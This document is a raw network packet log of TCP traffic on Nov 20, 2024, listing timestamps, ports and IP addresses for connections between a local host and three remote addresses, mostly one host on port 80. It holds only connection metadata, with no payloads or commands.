Nov 20, 2024 08:09:23.577044010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577085972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577174902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577187061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577198029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577208996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577209949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577223063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577234030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577244043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577244997 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577255964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577277899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577279091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577291012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577301979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577306986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577312946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577325106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577332020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577337027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577354908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.577359915 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577375889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577403069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578110933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578124046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578135014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578145027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578150988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578161955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578174114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578174114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578186035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578197002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578207970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578214884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578219891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578242064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578258991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578548908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578561068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578594923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578608990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578715086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578727007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578737974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578751087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578768015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578768969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578780890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578790903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578802109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578808069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578814983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578825951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578833103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578836918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578849077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578852892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578860998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578871965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578872919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578882933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578893900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578896999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578901052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578908920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578916073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578921080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.578948975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.578974962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579588890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579605103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579617023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579627991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579638958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579649925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579657078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579662085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579674006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579684973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579696894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579710960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579720020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579721928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579736948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579741001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579750061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579762936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579773903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579773903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579791069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579802990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579808950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579816103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579824924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579828024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579840899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579849958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.579854965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.579894066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.580528975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580542088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580552101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580564022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580574989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580585957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.580590010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.580610037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.580630064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.617779970 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.617880106 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.617970943 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.638921976 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.638947010 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.639015913 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.639034986 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.639049053 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.639801025 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.639822006 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.639854908 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.639859915 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.639888048 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.639916897 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.640328884 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.640343904 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.640378952 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.640383005 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.640405893 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.640429020 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.641693115 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.641709089 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.641752958 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.641757011 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.641796112 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.642613888 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.642631054 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.642682076 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.642685890 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.642731905 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.643775940 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.643800020 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.643838882 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.643843889 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.643877983 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.644531012 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.644546032 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.644597054 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.644601107 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.644637108 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.645529985 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.645546913 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.652812958 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.662213087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662236929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662249088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662290096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662334919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662352085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662363052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662374020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662384987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662394047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662415028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662599087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662611008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662621975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662631989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662642956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662652969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662652969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662671089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662687063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662708044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662899017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662909985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662929058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662939072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662940025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662950993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662961960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662962914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662972927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662980080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662986040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.662993908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.662996054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663007975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663018942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663018942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663039923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663055897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663482904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663495064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663506031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663516045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663526058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663532972 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663538933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663551092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663562059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663568974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663573980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663585901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.663589954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663609982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.663645029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664022923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664035082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664046049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664057016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664061069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664067030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664079905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664088964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664089918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664102077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664112091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664122105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664123058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664146900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664155960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664164066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664169073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664185047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664194107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664211035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664227962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664442062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664498091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664537907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664550066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664562941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664572001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664572954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664585114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664597988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664602041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664608955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664622068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664630890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664632082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664644003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664653063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664658070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.664679050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664697886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.664999962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665011883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665023088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665035009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665045977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665047884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665057898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665070057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665081024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665107012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665162086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665174007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665184021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665194988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665206909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665210009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665219069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665230036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665230036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665241003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665254116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665263891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665266037 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665278912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665287971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665292978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665304899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665311098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665328026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.665328026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.665359974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666022062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666037083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666055918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666066885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666068077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666079044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666090012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666105032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666135073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666151047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666162968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666172981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666184902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666186094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666225910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666229010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666238070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666250944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666258097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666263103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666286945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666300058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666311979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666315079 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666325092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666337013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666347027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666347980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666361094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666372061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666377068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666677952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666677952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666795015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666807890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666819096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.666842937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.666866064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.719371080 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.719394922 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.719465017 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.719476938 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.719535112 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.725565910 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.725584030 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.725667953 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.725677013 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.725727081 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726075888 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726092100 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726156950 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726161957 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726197958 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726494074 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726507902 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726558924 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726562977 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726600885 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.726794004 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726829052 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.726850033 CET	49820	443	192.168.2.5	13.107.246.40
